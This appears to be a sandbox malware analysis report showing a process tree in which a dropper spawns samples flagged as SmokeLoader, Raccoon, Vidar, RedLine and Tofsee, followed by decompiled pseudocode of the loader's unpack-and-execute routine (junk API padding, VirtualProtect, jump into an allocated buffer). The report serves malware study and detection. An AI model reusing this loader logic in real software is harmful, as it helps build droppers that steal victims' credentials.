MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4804 Parent PID: 568

General

Start time:	14:00:47
Start date:	24/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5624 Parent PID: 568

General

Start time:	14:00:47
Start date:	24/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k unistacksvcgroup
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4068 Parent PID: 568

General

Start time:	14:00:48
Start date:	24/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5376 Parent PID: 568

General

Start time:	14:00:49
Start date:	24/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 2780 Parent PID: 568

General

Start time:	14:00:50
Start date:	24/08/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff715420000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6172 Parent PID: 568

General

Start time:	14:00:50
Start date:	24/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6472 Parent PID: 568

General

Start time:	14:00:58
Start date:	24/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: wshgiwf PID: 6400 Parent PID: 528

General

Start time:	14:01:17
Start date:	24/08/2021
Path:	C:\Users\user\AppData\Roaming\wshgiwf
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\wshgiwf
Imagebase:	0x400000
File size:	146944 bytes
MD5 hash:	82D057E1EB74021D270CEAD3BE27D9FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: wshgiwf PID: 5220 Parent PID: 6400

General

Start time:	14:01:19
Start date:	24/08/2021
Path:	C:\Users\user\AppData\Roaming\wshgiwf
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\wshgiwf
Imagebase:	0x400000
File size:	146944 bytes
MD5 hash:	82D057E1EB74021D270CEAD3BE27D9FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.365865503.0000000002030000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000012.00000002.365919916.00000000022F1000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 5AF4.exe PID: 6808 Parent PID: 3388

General

Start time:	14:01:29
Start date:	24/08/2021
Path:	C:\Users\user\AppData\Local\Temp\5AF4.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\5AF4.exe
Imagebase:	0x400000
File size:	24576 bytes
MD5 hash:	A69E12607D01237460808FA1709E5E86
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic

Chronological Activities

Analysis Process: 6209.exe PID: 2392 Parent PID: 3388

General

Start time:	14:01:31
Start date:	24/08/2021
Path:	C:\Users\user\AppData\Local\Temp\6209.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\6209.exe
Imagebase:	0x400000
File size:	433664 bytes
MD5 hash:	5C8050E907434066C6857344215641A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000017.00000000.391894159.000000000046C000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000017.00000000.389228676.000000000046C000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000017.00000000.390212734.0000000004920000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000017.00000003.382214988.00000000049C0000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Raccoon, Description: Yara detected Raccoon Stealer, Source: 00000017.00000000.398889500.0000000004920000.00000040.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: 66AE.exe PID: 1564 Parent PID: 3388

General

Start time:	14:01:32
Start date:	24/08/2021
Path:	C:\Users\user\AppData\Local\Temp\66AE.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\66AE.exe
Imagebase:	0x7a0000
File size:	542208 bytes
MD5 hash:	68D5331A8418C4089BB7C0F524C77728
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AdesStealer, Description: Yara detected Ades Stealer, Source: 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000002.424071226.0000000002970000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AdesStealer, Description: Yara detected Ades Stealer, Source: 00000018.00000002.434552178.0000000012B41000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000018.00000002.434552178.0000000012B41000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000002.434552178.0000000012B41000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_AdesStealer, Description: Yara detected Ades Stealer, Source: 00000018.00000002.437001553.0000000012BE8000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000018.00000002.437001553.0000000012BE8000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000018.00000002.437001553.0000000012BE8000.00000004.00000001.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: 6A0A.exe PID: 1056 Parent PID: 3388

General

Start time:	14:01:33
Start date:	24/08/2021
Path:	C:\Users\user\AppData\Local\Temp\6A0A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\6A0A.exe
Imagebase:	0x400000
File size:	624640 bytes
MD5 hash:	BF40705CBA9708182B61956985895005
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000019.00000002.473202977.00000000024DD000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000019.00000002.477885557.0000000004060000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000019.00000003.388452160.0000000004100000.00000004.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: svchost.exe PID: 592 Parent PID: 568

General

Start time:	14:01:33
Start date:	24/08/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7488e0000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 3008 Parent PID: 592

General

Start time:	14:01:34
Start date:	24/08/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2392 -ip 2392
Imagebase:	0x250000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 76BD.exe PID: 6288 Parent PID: 3388

General

Start time:	14:01:37
Start date:	24/08/2021
Path:	C:\Users\user\AppData\Local\Temp\76BD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\76BD.exe
Imagebase:	0x250000
File size:	3238840 bytes
MD5 hash:	9AA6DD10E0BFB49BAA17F04F44B9DCD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 0000001C.00000000.391036397.0000000000252000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\76BD.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Analysis Process: conhost.exe PID: 6312 Parent PID: 6288

General

Start time:	14:01:37
Start date:	24/08/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: 7DF2.exe PID: 3464 Parent PID: 3388

General

Start time:	14:01:38
Start date:	24/08/2021
Path:	C:\Users\user\AppData\Local\Temp\7DF2.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\7DF2.exe
Imagebase:	0x400000
File size:	163328 bytes
MD5 hash:	B08DC3C44C7F8DBD008936EDA82C3A04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001E.00000002.423513229.0000000000400000.00000040.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001E.00000003.398935339.0000000004900000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Tofsee, Description: Yara detected Tofsee, Source: 0000001E.00000002.429884225.0000000002F00000.00000040.00000001.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: t7p1ekMto0.exe PID: 6612 Parent PID: 784 t7p1ekMto0.exeCOMMON

Executed Functions

Function 004015C1, Relevance: 31.6, APIs: 21, Instructions: 111
timememorystringCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E004015C1(void* __ebx, void* __edx, void* __edi) {
				int _t38;
				void* _t49;
				void* _t50;
				void* _t51;
				void* _t56;
				void* _t57;
				void* _t60;
				void* _t64;
				signed int _t74;

				_t57 = __edi;
				_t56 = __edx;
				_t49 = __ebx;
				E00412048(E004120E3, _t64);
				if( *0x2c3f45c == 0xc) {
					GetLocalTime(0);
					E00401D6E(__ebx, _t56, __edi);
				}
				_push(_t49);
				_push(_t57);
				_t50 = 0x9851c;
				do {
					if( *0x2c3f45c == 0x65) {
						__imp__DeleteTimerQueueTimer(0, 0, 0);
						SetConsoleOutputCP(0);
						__imp__GetConsoleAliasesLengthA(0);
						LeaveCriticalSection(_t64 - 0x50);
						SetEnvironmentVariableW(0, 0);
						__imp__GetCPInfoExA(0, 0, _t64 - 0x218);
						GetMailslotInfo(0, 0, 0, 0, 0);
						GetTimeZoneInformation(_t64 - 0xfc);
						 *((short*)(_t64 - 0x14)) = 0;
						asm("stosw");
						_push(_t64 - 0x1c);
						_push( *((intOrPtr*)(_t64 - 0x14)));
						_push(0);
						_push(0);
						_push(0);
						FillConsoleOutputCharacterW();
						GetModuleHandleW(0);
						 *(_t64 - 0x10) = 0;
						asm("stosw");
						WriteConsoleOutputCharacterA(0, 0, 0,  *(_t64 - 0x10), _t64 - 0x18);
						SetLastError(0);
					}
					_t50 = _t50 - 1;
				} while (_t50 != 0);
				 *0x2c3f45c =  *0x41a7cc + 0xb2d3b;
				_t38 = lstrlenW(0x2c3f460);
				_pop(_t60);
				_pop(_t51);
				if(_t38 == 0x1515) {
					SetConsoleCursorPosition(0,  *(_t64 - 0x18));
					ReleaseMutex(0);
					GetOEMCP();
					__imp__HeapSetInformation(0, 0, _t64 - 0x618, 0);
					E0040171E(_t64 - 0x38, 0x414d18);
					 *(_t64 - 4) = 0;
					E00402053(_t51, _t56, _t60, 0);
					_t16 = _t64 - 4;
					 *_t16 =  *(_t64 - 4) | 0xffffffff;
					_t74 =  *_t16;
					_t52 = _t64 - 0x38;
					E004017FF(_t51, _t64 - 0x38, _t56, _t60, _t64, 1, 0); // executed
				}
				E0040143F(_t52, _t56, _t74); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t64 - 0xc));
				return 0;
			}

0x004015c1
0x004015c1
0x004015c1
0x004015c6
0x004015db
0x004015de
0x004015e4
0x004015e4
0x004015e9
0x004015ea
0x004015eb
0x004015f0
0x004015f7
0x00401600
0x00401607
0x0040160e
0x00401618
0x00401620
0x0040162f
0x0040163a
0x00401647
0x0040164f
0x00401656
0x0040165b
0x0040165c
0x0040165f
0x00401660
0x00401661
0x00401662
0x00401669
0x00401671
0x00401678
0x00401684
0x0040168b
0x0040168b
0x00401691
0x00401691
0x004016a7
0x004016ac
0x004016b2
0x004016b3
0x004016b9
0x004016bf
0x004016c6
0x004016cc
0x004016dc
0x004016ea
0x004016f0
0x004016f3
0x004016f8
0x004016f8
0x004016f8
0x00401700
0x00401703
0x00401703
0x00401708
0x00401713
0x0040171b

APIs

__EH_prolog.LIBCMT ref: 004015C6
GetLocalTime.KERNEL32(00000000), ref: 004015DE
_abort.LIBCMT ref: 004015E4

Part of subcall function 00401D6E: __NMSG_WRITE.LIBCMT ref: 00401D8F
Part of subcall function 00401D6E: _raise.LIBCMT ref: 00401DA0
Part of subcall function 00401D6E: _memset.LIBCMT ref: 00401E38
Part of subcall function 00401D6E: SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,00000000), ref: 00401E6A
Part of subcall function 00401D6E: UnhandledExceptionFilter.KERNEL32(?,?,?,00000000), ref: 00401E77

DeleteTimerQueueTimer.KERNEL32(00000000,00000000,00000000), ref: 00401600
SetConsoleOutputCP.KERNEL32(00000000), ref: 00401607
GetConsoleAliasesLengthA.KERNEL32(00000000), ref: 0040160E
LeaveCriticalSection.KERNEL32(?), ref: 00401618
SetEnvironmentVariableW.KERNEL32(00000000,00000000), ref: 00401620
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 0040162F
GetMailslotInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0040163A
GetTimeZoneInformation.KERNEL32(?), ref: 00401647
FillConsoleOutputCharacterW.KERNEL32(00000000,00000000,00000000,?,?), ref: 00401662
GetModuleHandleW.KERNEL32(00000000), ref: 00401669
WriteConsoleOutputCharacterA.KERNEL32(00000000,00000000,00000000,?,?), ref: 00401684
SetLastError.KERNEL32(00000000), ref: 0040168B
lstrlenW.KERNEL32(02C3F460), ref: 004016AC
SetConsoleCursorPosition.KERNEL32(00000000,?), ref: 004016BF
ReleaseMutex.KERNEL32(00000000), ref: 004016C6
GetOEMCP.KERNEL32 ref: 004016CC
HeapSetInformation.KERNEL32(00000000,00000000,?,00000000), ref: 004016DC
_malloc.LIBCMT ref: 004016F3

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: Console$Output$CharacterExceptionFilterInfoInformationTimeTimerUnhandled$AliasesCriticalCursorDeleteEnvironmentErrorFillH_prologHandleHeapLastLeaveLengthLocalMailslotModuleMutexPositionQueueReleaseSectionVariableWriteZone_abort_malloc_memset_raiselstrlen
String ID:
API String ID: 1944136483-0
Opcode ID: 3fd69f30c1acaa8e3a6be800b3865360c608ac1f6c4355cd0ede9cbaf098d040
Instruction ID: 51de34beaedad823ca136b1334fe72d81442fe0e32916a1f54a1975bd12ed489
Opcode Fuzzy Hash: 3fd69f30c1acaa8e3a6be800b3865360c608ac1f6c4355cd0ede9cbaf098d040
Instruction Fuzzy Hash: 41311D31802529BBCB11AFA5DD499EF7FB8FF4A316B008529F205E2064DB385745CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040143F, Relevance: 29.9, APIs: 13, Strings: 4, Instructions: 119
librarystringloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0040143F(void* __ecx, void* __edx, void* __eflags) {
				void* _v20;
				struct _COMMTIMEOUTS _v24;
				struct _DCB _v52;
				short _v2100;
				char _v3124;
				struct HINSTANCE__* _t10;
				void* _t13;
				void* _t27;
				void* _t36;
				void* _t39;
				void* _t40;
				void* _t41;
				void* _t42;
				void* _t43;
				void* _t44;
				void* _t45;
				void* _t53;

				_t42 = __edx;
				_t40 = __ecx;
				E0040142B();
				_t10 = GetModuleHandleA(0x41c418);
				 *0x2c3f44c = _t10;
				 *0x2c3c254 = GetProcAddress(_t10, "LocalAlloc");
				 *0x43780c = GetProcAddress( *0x2c3f44c, "VirtualProtect"); // executed
				_t13 = LocalAlloc(0,  *0x2c3f45c); // executed
				 *0x2c3c250 = _t13; // executed
				E00401400(_t40); // executed
				_t43 = 0;
				L1:
				L1:
				if(_t43 < 0x50a28) {
					GetCurrentProcessId();
					GetAltTabInfoW(0, 0, 0, 0, 0);
				}
				if(_t43 > 0x11c825e) {
					goto L7;
				}
				_t43 = _t43 + 1;
				_t36 = _t43;
				asm("cdq");
				_t53 = _t42 - 0x3f;
				if(_t53 < 0 || _t53 <= 0 && _t36 < 0x27e32a85) {
					goto L1;
				}
				L7:
				 *0x2ca70ec =  *0x41981c;
				E004013D4();
				_t44 = 0;
				if( *0x2c3f45c > 0) {
					do {
						if( *0x2c3f45c == 0xd8c) {
							GetConsoleTitleW( &_v2100, 0);
							lstrcatA( &_v3124, "vofovocadicupupelirujifayas bitenipuselucimixofeyolujuc gukagigu");
						}
						_t44 = _t44 + 1;
					} while (_t44 <  *0x2c3f45c);
				}
				_t45 = 0;
				do {
					if( *0x2c3f45c + _t45 == 0x5e) {
						GetFileAttributesW(0);
						lstrcpynW( &_v2100, 0, 0);
					}
					_t45 = _t45 + 1;
				} while (_t45 < 0xa69b);
				E00401310();
				_t41 = 0;
				do {
					if(_t41 == 0x59d8) {
						E004013BA(_t41);
					}
					_t41 = _t41 + 1;
				} while (_t41 < 0x2f5303);
				_t39 = 0x7b;
				do {
					if( *0x2c3f45c == 0x54d) {
						_v24.ReadIntervalTimeout = 0;
						asm("stosd");
						asm("stosd");
						asm("stosd");
						asm("stosd");
						BuildCommDCBAndTimeoutsA("lohukiwazitasixubalicacefome fodaxe hifisudefiziyigalejajarinekaham gokatunimefop liwiwirarup",  &_v52,  &_v24);
						GetSystemDefaultLCID();
						__imp__GetSystemWindowsDirectoryW( &_v2100, 0);
					}
					_t39 = _t39 - 1;
				} while (_t39 != 0);
				_t27 =  *0x2c3c250;
				 *0x2c3f450 = _t27;
				return  *_t27();
			}

0x0040143f
0x0040143f
0x0040144b
0x00401455
0x00401467
0x00401479
0x00401489
0x0040148e
0x00401494
0x00401499
0x0040149e
0x00000000
0x004014a0
0x004014a6
0x004014a8
0x004014b3
0x004014b3
0x004014bf
0x00000000
0x00000000
0x004014c1
0x004014c2
0x004014c4
0x004014c5
0x004014c8
0x00000000
0x00000000
0x004014d3
0x004014d8
0x004014dd
0x004014e2
0x004014ea
0x004014ec
0x004014f6
0x00401500
0x00401512
0x00401512
0x00401518
0x00401519
0x004014ec
0x00401521
0x00401523
0x0040152d
0x00401530
0x0040153f
0x0040153f
0x00401545
0x00401546
0x0040154e
0x00401553
0x00401555
0x0040155b
0x0040155d
0x0040155d
0x00401562
0x00401563
0x0040156d
0x0040156e
0x00401578
0x0040157c
0x00401582
0x00401583
0x00401584
0x00401585
0x00401593
0x00401599
0x004015a7
0x004015a7
0x004015ad
0x004015ad
0x004015b0
0x004015b5
0x004015c0

APIs

GetModuleHandleA.KERNEL32(0041C418), ref: 00401455
GetProcAddress.KERNEL32(00000000,LocalAlloc), ref: 0040146C
GetProcAddress.KERNEL32(VirtualProtect), ref: 0040147E
LocalAlloc.KERNELBASE(00000000), ref: 0040148E

Part of subcall function 00401400: VirtualProtect.KERNELBASE(00000020,?), ref: 00401423

GetCurrentProcessId.KERNEL32 ref: 004014A8
GetAltTabInfoW.USER32(00000000,00000000,00000000,00000000,00000000), ref: 004014B3
GetConsoleTitleW.KERNEL32(?,00000000), ref: 00401500
lstrcatA.KERNEL32(?,vofovocadicupupelirujifayas bitenipuselucimixofeyolujuc gukagigu), ref: 00401512
GetFileAttributesW.KERNEL32(00000000), ref: 00401530
lstrcpynW.KERNEL32(?,00000000,00000000), ref: 0040153F
BuildCommDCBAndTimeoutsA.KERNEL32 ref: 00401593
GetSystemDefaultLCID.KERNEL32 ref: 00401599
GetSystemWindowsDirectoryW.KERNEL32 ref: 004015A7

Strings

LocalAlloc, xrefs: 00401461
vofovocadicupupelirujifayas bitenipuselucimixofeyolujuc gukagigu, xrefs: 00401506
lohukiwazitasixubalicacefome fodaxe hifisudefiziyigalejajarinekaham gokatunimefop liwiwirarup, xrefs: 0040158E
VirtualProtect, xrefs: 0040146E

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProcSystem$AllocAttributesBuildCommConsoleCurrentDefaultDirectoryFileHandleInfoLocalModuleProcessProtectTimeoutsTitleVirtualWindowslstrcatlstrcpyn
String ID: LocalAlloc$VirtualProtect$lohukiwazitasixubalicacefome fodaxe hifisudefiziyigalejajarinekaham gokatunimefop liwiwirarup$vofovocadicupupelirujifayas bitenipuselucimixofeyolujuc gukagigu
API String ID: 1462465459-54660826
Opcode ID: d1d3de68255665c73208c460407a752b07d8cd952d7f19887e2dd338a7dd89e8
Instruction ID: c23b384ef63ed9eafff49735665fea55596b63873ea505ab06e878f6ed1c3c8d
Opcode Fuzzy Hash: d1d3de68255665c73208c460407a752b07d8cd952d7f19887e2dd338a7dd89e8
Instruction Fuzzy Hash: A441D771D40110ABCB11AFB5EC48A9F7BA8FB88755B008D3BF505E2160D6385645CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401400, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401400(void* __ecx) {
				long _v8;
				long _v12;
				int _t7;

				_v8 = 0x20;
				_v8 = _v8 + 0x20;
				_t7 = VirtualProtect( *0x2c3c250,  *0x2c3f45c, _v8,  &_v12); // executed
				return _t7;
			}

0x00401405
0x0040140c
0x00401423
0x0040142a

APIs

VirtualProtect.KERNELBASE(00000020,?), ref: 00401423

Strings

, xrefs: 0040140C

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 7282509b73c3a623d340209bd91f752a47a82f73861692c586efe81825d31e8c
Instruction ID: 289dd674f99a237f72eac0779e853bdd747e39da859dd809dcc06063503ed0a1
Opcode Fuzzy Hash: 7282509b73c3a623d340209bd91f752a47a82f73861692c586efe81825d31e8c
Instruction Fuzzy Hash: 4AD09EB5814208FFDB05DFC0ED0999DBBBDF704318F104554E100A1111D3715B14AB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040459C, Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040459C(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x41be54 = _t6;
				if(_t6 != 0) {
					 *0x2ca7200 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x004045b1
0x004045b7
0x004045be
0x004045c5
0x004045cb
0x004045c1
0x004045c1
0x004045c1

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00402312,00000001), ref: 004045B1

Memory Dump Source

Source File: 00000000.00000002.237297392.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.237292267.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237314829.0000000000413000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237331576.0000000000416000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.237338839.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237368615.000000000041B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.237617176.0000000002CA8000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: c0b78ad8f19f05ccef603730754c4e88d2821687818d11f38821d9a232601c74
Instruction ID: bda2f2d96bdc5b4af32ec4e1dfbd5bb6ce4ae18d11df6ae14e98ae066f94a95e
Opcode Fuzzy Hash: c0b78ad8f19f05ccef603730754c4e88d2821687818d11f38821d9a232601c74
Instruction Fuzzy Hash: 90D05E76A90344AEEB105F756C087A63BDCE384796F00C536BA0DC6180E674CA508544

Uniqueness

Uniqueness Score: -1.00%

Function 00405542, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405542() {
				void* _t1;

				_t1 = E004054D0(0); // executed
				return _t1;
			}

0x00405544
0x0040554a

APIs

__encode_pointer.LIBCMT ref: 00405544

Part of subcall function 004054D0: TlsGetValue.KERNEL32(00000000,?,00405549,00000000,00406E4E,0041B9E8,00000000,00000314,?,004030BB,0041B9E8,Microsoft Visual C++ Runtime Library,00012010), ref: 004054E2
